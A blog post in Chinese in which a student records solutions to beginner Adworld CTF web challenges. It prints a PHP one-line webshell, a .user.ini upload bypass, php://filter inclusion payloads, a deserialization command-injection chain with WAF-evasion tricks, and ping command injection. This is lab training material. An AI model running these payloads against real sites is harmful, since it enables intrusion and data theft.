[做题记录]攻防世界_1(新手模式)
一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了😀。
easyupload
进入环境,直接给了上传界面:
先尝试上传一个简单直白的一句话木马:
<?php @eval($_POST['viper']); ?>
它说我们的文件看着有点邪恶,我觉得接下来有下面几种思路:
- 进行了前端验证:查文件后缀,尝试上传其它后缀比如php3、php4、phtml。
- 还进行了MIEME验证 : 查了包中content-type字段,
- 查了文件头,我喜欢直接在木马前加个GIF89a。
- 查了文件内容,比如不允许
<?php 巴拉巴拉;?>
这种类型的内容出现。 - 白名单:比如只允许上传.png形式的。如果只能上传图片很可能要和文件包含漏洞配合使用。
- 上传.htacess/.user.ini形式的配置文件。
除了这些还有截断、双写、大小写、禁用JS等绕过方式。
感觉这题源码也没给啥有用的信息,多次尝试后发现可以通过上传.user.ini文件拿flag:
先上传配置文件.user.ini:
GIF89a auto_prepend_file=viper.jpg
这玩意我个人理解就是在访问任何和.user.ini同文件夹的php文件时都会自动包含我定义的某个文件,这个文件可以是类型的(不重要,文件包含会把任意后缀的文件当php)。上传木马后再访问某些php就会自动包含木马。
再上传一句话木马:
GIF89a <?php @eval($_POST['viper']);
看下效果:
还是不行,百度了一下这东西要上传下面这种一句话木马:
GIF89a <?=eval($_POST['viper']);?>
上传前F12打开网络界面,看下这东西的上传路径:
不用F12看也行,它上面已经回显了: path is uploads/viper.jpg,直接访问下uploads/index.php看成不成功就行。
然后蚁剑连一下:
拿到flag:
cyberpeace{c24560aa68302d15f362ffe32161a092}
感觉他是查了内容,如果有‘php’内容的都不能上传:
GIF89a <?php eval($_POST['viper']);?>
把刚刚的一句话马改成了这个,上传后它又会提示文件有点邪恶了。
baby_web
进入环境前先看下提示:
进入环境:
初始界面我能想到的就是index.php,那就访问一下它:
61.147.171.105:50949/index.php
发现还是回到了61.147.171.105:50949/1.php
感觉像是302重定向了,burpsuite抓包看下:
果然,locatioon是1.php,flag就在包里:
flag{very_baby_web}
easyphp
没啥提示,进入环境:
<?php
highlight_file(__FILE__);
$key1 = 0; //初值0
$key2 = 0; //初值0
$a = $_GET['a']; //GET方式传参
$b = $_GET['b']; //同上
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){//a=1e9科学计数法绕过
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){ //bMD5加密,最后六位必须强等于8b184b,这东西要写个脚本去找
$key1 = 1; //满足前两个条件,key1赋值1
}else{
die("Emmm...再想想");//满足第一个但不满足第二个
}
}else{ //
die("Emmm...");//两个都不满足
}
$c=(array)json_decode(@$_GET['c']);//同样GET方式传参,这里应传入json格式的字符串,json_decode会将其解析为对象或数组→由于(array)的存在,将其解析成数组形式
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);//在数组c中n键对应的数组中找‘DGGJ’,并将位置赋值给$d
$d === false?die("no..."):NULL;//若$d强等于false,输出no...,否则就啥都不干(c中要有DGGJ)
foreach($c["n"] as $key=>$val){//遍历c数组中n键对应的数组,键key值val,
$val==="DGGJ"?die("no......"):NULL;//若有val强等于DGGJ,同样输出no...,否则就啥都不干(c中要无DGGJ)
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag; //key1key2同时不为0,就包含Hgfks文件并echo $flag变量
}
?> Emmm...
简单分析了一下这段PHP代码,可能写的有点乱--(˙<>˙)/--
分析完我们可以知道:要想拿flag,key1key2必须同时非0。key1如何非0?
- GET传a=1e9,满足a已定义&&intval($a)>6000000&&长度小于等于3。
- GET传b=53724 ,满足bMD5加密,最后六位必须强等于8b184b。(找MD5写个脚本就行)
//python
import hashlib //先下载hashlib库再用这个模块
target = '8b184b'
for i in range(100000000):
a = str(i)
hash_value = hashlib.md5(a.encode()).hexdigest()
b = hash_value[-6:]
if b[-6:] == target:
print(a)
输出好几个值,我就挑第一个53724,先验证一下:
/?a=1e9&&b=53724
echo 了 no,没啥问题,继续看c:
c要是一个数组并且c['m']对应的值不能是数字,同时c['m']要大于2022。比较经典的is_numeric绕过:直接让c['m']=2023a即可。
往下看:c['n']应该对应一个数组并且这个数组的长度要=2,同时还要保证c['n']的首个元素仍是数组。
写下满足目前条件的c:
c={"m":2023a."n":[[1],2]} //注意格式,一定要双引号包裹
再往下看:
在c['n']中寻找‘DGGJ’,找到了返回对应键名。若找不到就echo no..,找到了啥也不干继续往下判断:
对c['n']遍历,键key值val。如果有val强等于‘DGGJ’就echo no.....,否则往下运行把key2赋值为1.
很明显上面两个条件是矛盾的:条件一要找到'DGGJ',条件二不要找到'DGGJ',怎么绕过呢?
去找了一下wp:第一个函数array_search:这东西判断的时候是弱等于,也就是找个什么东西 == 'DGGJ'。弱等于一个非数字开头的字符串可以把它赋值为0:第一个条件满足进行第二个条件判断,因为第二个是强等于所以找不到某个值==='DGGJ',这样一来两个条件满足,系统给key2赋值1.
payload:/?a=1e9&&b=53724&&c={"m":"2023a ","n":[[0],0]}
flag:cyberpeace{1624e6fade3ea997187010b1ae67f3b3}
weak_auth
弱口令:username admin password123456试一下就出来了
backup
提示备份文件,进入环境:
哈哈,这个我还真不知道
直接用御剑扫:
扫到一个index.php.bak的东西,下载看一下:
flag = Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
问了下GPT,index.php通常有以下几种备份文件名:
fileclude
进入环境:
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
首先会include(flag.php),在开始有很明显的WRONGWAY! 这东西是哪里来的?很可能就是include(flag.php)搞出来的。再往下看:highlight_file(FILE),高亮显示当前文件的源码。然后进行条件判断:GET传file1和file2两个参,如果他俩都被定义了的话就分别赋值给
首先看file_get_contents(),我觉得这东西就是一个读URL/文件的函数,include()更像是执行。
payload:
file1=php://filter/read=convert.base64-encode/resource=flag.php
file2=data://text/plain,hello ctf // 利用data协议
解释下file1的写法:最开始已经Include()过flag.php文件了,那么肯定不能再让file=flag.php,那就去利用filter协议去看下flag.php的源码是啥:
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXs3YmNkMDRjM2E1ODRjN2I0MjUxNjkzMDgxNmI4NjA2ZH0=
base64解码即可:
flag:cyberpeace{7bcd04c3a584c7b42516930816b8606d}
fileinclude
进入环境:
看下源码中我们需要的东西:
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
百度了一下前面那三个函数是是干啥的:
ini_get('display_errors') 是一个 PHP 函数,用于获取当前的 display_errors 配置项的值。该配置项决定是否在浏览器中显示 PHP 错误信息
如果 display_errors 配置项未开启,则执行 ini_set('display_errors', 'On'),将其设置为开启状态,以便在浏览器中显示 PHP 错误信息。
error_reporting(E_ALL) 是一个 PHP 函数,用于设置 PHP 的错误报告级别。E_ALL 表示显示所有类型的错误,包括 E_NOTICE、E_WARNING、E_ERROR 等。
简单说这三个就是显示错误报告的函数,再往下看;
$lan = $_COOKIE['language'];
$lan = cookie头中language对应的值,如果lan没定义的话自动给cookie头中language对应的值赋english,然后包含english.php。
否则就include(lan.php)。
我们的目的是include(flag.php):利用burpsuite抓下包:
没啥反应。。估计这BYD又要让我读源码(lll¬ω¬)
改下cookie:
php://filter/read=convert.base64-encode/resource=flag
得到一串神秘代码,base64解下得到flag:
cyberpeace{a4bc46e197673416391bed8087ed6c64}
file_include
题目描述:怎么读取文件呢?
进入环境:
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
GET传参filename,尝试利用伪协议读下check.php的源码:
/?filename=php://filter/convert.base64-encode/resource=check.php
回显:
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
do not hack!
感觉像是check.php之类的函数对输入进行了检测。。
/?filename=base
echo do not hack!
/?filename=bas
无异常回显
这么看是检测base了这个字符串。
后面实在不会做了去网上找了一下wp:
下面的内容参考了CSDN上两位师傅的文章,我把文章链接放在最后了
转换过滤器
如同 string.* 过滤器,convert.* 过滤器的作用就和其名字一样。
转换过滤器是 PHP 5.0.0 添加的。对于指定过滤器的更多信息,请参考该函数的手册页。
https://www.php.net/manual/zh/filters.convert.php
在激活 iconv 的前提下可以使用 convert.iconv.* 压缩过滤器,
等同于用 iconv() 处理所有的流数据。 该过滤器不支持参数,
但可使用输入/输出的编码名称,组成过滤器名称,
比如 convert.iconv.<input-encoding>.<output-encoding>
或 convert.iconv.<input-encoding>/<output-encoding>
(两种写法的语义都相同)。
当前 mbstring 模块支持以下的字符编码。这些字符编码中的任意一个都能指定到 mbstring 函数中的 encoding 参数。
该 PHP 扩展支持的字符编码有以下几种:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML)
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949)
ISO-2022-KR
Windows-1251(别名:CP1251)
Windows-1252(别名:CP1252)
CP866(别名:IBM866)
KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8
这东西支持两种格式:
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
比如:
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
以上内容参考了下面这篇文章:
https://blog.csdn.net/m0_49025459/article/details/128351671
https://blog.csdn.net/aa2528877987/article/details/130864211
感谢这两位师傅
尝试一下:
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=check.php
读下check.php:
<?php
if($_GET["filename"])
{ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';
if (eval($preg_match_username))
{ die("do not hack!"); } }
可以看到正则匹配了挺多字符的,读下flag.php:
flag='cyberpeace{6b28b64b4de396a153076bc0d160d669}
unseping
题目描述:unseping
<?php
highlight_file(__FILE__);
class ease{ //定义了ease类
private $method; //私有属性method
private $args; //私有属性args
function __construct($method, $args) { //方法定义
$this->method = $method; //this:对当前对象的引用
$this->args = $args;
}
function __destruct(){ //方法定义
if (in_array($this->method, array("ping"))) {//检查当前对象中属性method是否在数组array("ping")中,也就是method必须等于ping
call_user_func_array(array($this, $this->method), $this->args);//回调函数,执行上面的ping方法,当前对象的args是方法中需要的参数
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}//定义了 ping 方法,主要还是exec($ip)这个命令执行
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}//waf,正则匹配了挺多东西,比如ls、cat/tac读都用不了,空格也不能用,要想办法绕过,比如${IFS}$9
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
} //wakeup方法,这东西会在反序列化时被调用,主要就是检查传给args的参数有没有问题(通过waf方法),没问题了才会真正把参数赋值给args
}
$ctf=@$_POST['ctf']; //POST方式传参ctf
@unserialize(base64_decode($ctf));//先给ctfBASE64解码,然后反序列化
?>
先建立一个对象,给私有属性method赋值"ping",args的参数时我们想要执行的命令,找个不被waf过滤掉的比如whoami试一下:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
} //注意这里construct方法必须要带着,而且在实例化ease类传参时一定要在new ease这里传!!!而且不带construct方法实例化传参最后的结果不一样,也不知道是啥原因
$o=new ease("ping",array("whoami"));
$s = serialize($o);
echo base64_encode($s);
?>
拿到输出,POST传下参:
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo4OiJpZmNvbmZpZyI7fX0=
得到输出:
array(16) { [0]=> string(58) "eth0: flags=4163 mtu 1402" [1]=> string(72) " inet 10.42.184.142 netmask 255.255.0.0 broadcast 10.42.255.255" [2]=> string(57) " ether 02:3d:2c:87:35:2b txqueuelen 0 (Ethernet)" [3]=> string(47) " RX packets 1136 bytes 84681 (82.6 KiB)" [4]=> string(51) " RX errors 0 dropped 0 overruns 0 frame 0" [5]=> string(46) " TX packets 140 bytes 31477 (30.7 KiB)" [6]=> string(66) " TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0" [7]=> string(0) "" [8]=> string(44) "lo: flags=73 mtu 65536" [9]=> string(41) " inet 127.0.0.1 netmask 255.0.0.0" [10]=> string(47) " loop txqueuelen 1000 (Local Loopback)" [11]=> string(37) " RX packets 0 bytes 0 (0.0 B)" [12]=> string(51) " RX errors 0 dropped 0 overruns 0 frame 0" [13]=> string(37) " TX packets 0 bytes 0 (0.0 B)" [14]=> string(66) " TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0" [15]=> string(0) "" }
接下来的问题就是如何绕过waf去找flag在哪里并且读出来。。在网上找了下wp,感谢这位师傅:https://www.cnblogs.com/niyani/p/16961716.html
首先是ls如何绕过waf:
可以通过在连续字符间加:单引号/双引号/${Z}来绕过。
如何绕过空格:
如何利用printf()绕过:
printf "斜杠???斜杠???"这东西是输出斜杠???代表的ASCII码值,???代表八进制,shift+4()这个符号是把括号里面的东西当命令执行(不能把符号打出来。。这个编辑器会自动把shift+4符号当高亮用。。还有一个命令执行就是两个shift+~)结合上面这些内容:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$o=new ease("ping",array('l""s'));
$s = serialize($o);
echo base64_encode($s);
?>
注意Base64转码要一步走完,不要在PHP得到结果后拿着字符串去Base64转码,因为这里涉及private序列化后出现不可见字符%00的问题,你拿着字符串去base64转码会少东西。另外,师傅文章里有个地方说的很好:
注意构造时引号的细节,单引号会把中间的内容完全视为字符串,但双引号会把内部变量进行解析,若在输入array的参数时用双引号,会对${}中的内容进行解析导致payload构造失败。
得到当前目录下的文件:
array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
flag应该在 flag_1s_here 里,cat读一下:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>
得到结果:
array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
读下这个 flag_831b69012c67b35f.php :
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$o=new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$s = serialize($o);
echo base64_encode($s);
?>
得到结果:
array(2) { [0]=> string(5) " string(47) "//$cyberpeace{665d63f349080eeec3a41ab63a83b9d5}" }
flag:
cyberpeace{665d63f349080eeec3a41ab63a83b9d5}
ics-06
题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
进入环境:
一通乱点后发现这个·报表中心·可以进入:
上面有个异常刺眼的/?id=1
,我当时还以为是SQL注入去爆数据的题。。搞了半天没啥思路,主要是给id赋很多值时他会302重定向到id=1的页面:
查了下wp才知道这题是用burpsuite的intruder去找id不正常的回显。。
攻击模式选择Sniper,payload设置如下:
因为我看了wp知道id=2333时拿到flag,就设置了1-3000。
Start attack:
id=2333时长度不对,看下回显,有这么个东西:
flag=cyberpeace{8cc412900adaaffeb1f150c982eb7858}
最后说一嘴这题有点像今年moectf 平行宇宙那道题。
command_execution
题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
进入环境:
很经典的Linux命令执行题目,这里说下windows和Linux中ping命令的区别:
Linux中ping命令默认发送的数据包长度为56字节(ICMP头+数据)
Windows中ping命令默认发送的数据包长度为32字节(ICMP头+数据)
题目描述说没有写waf,那就不考虑空格绕过变量替换啥的,直白一点:
127.0.0.1;ls;
ping -c 3 127.0.0.1;ls;
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.024 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.044 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2043ms
rtt min/avg/max/mdev = 0.024/0.033/0.044/0.010 ms
index.php
当前目录下只有一个Index.php,看下根目录都有啥东西:
127.0.0.1;ls /;
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
根目录下没有flag文件夹,用find命令找一下:
127.0.0.1;find / -name "flag*"; 匹配任何以flag开头的文件或目录
find 命令和locate whereis不太一样,它是全磁盘查找会比较慢。但这题只能用find,其它两个找不出来,看下运行后的结果:
/home/flag.txt
/sys/devices/platform/serial8250/tty/ttyS15/flags
/sys/devices/platform/serial8250/tty/ttyS6/flags
/sys/devices/platform/serial8250/tty/ttyS23/flags
/sys/devices/platform/serial8250/tty/ttyS13/flags
/sys/devices/platform/serial8250/tty/ttyS31/flags
/sys/devices/platform/serial8250/tty/ttyS4/flags
/sys/devices/platform/serial8250/tty/ttyS21/flags
/sys/devices/platform/serial8250/tty/ttyS11/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS28/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS18/flags
/sys/devices/platform/serial8250/tty/ttyS9/flags
/sys/devices/platform/serial8250/tty/ttyS26/flags
/sys/devices/platform/serial8250/tty/ttyS16/flags
/sys/devices/platform/serial8250/tty/ttyS7/flags
后面还有很多,我就不往上放了
cat读下第一个出现的文件;
127.0.0.1;cat /home/flag.txt;
拿到flag:
cyberpeace{80a155186e1ea92c8966a51b537e0da8}
xff_referer
题目描述:X老师告诉小宁其实xff和referer是可以伪造的。
进入环境:
简单的X-Forwarded-For头伪造,burpsuite抓下包,加个XFF头:
X-Forwarded-for:123.123.123.123
简单的referer头伪造,同样burpsuite抓下包,加头,得到flag:
cyberpeace{984fd3e07717f4e1ad832695bb74067d}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通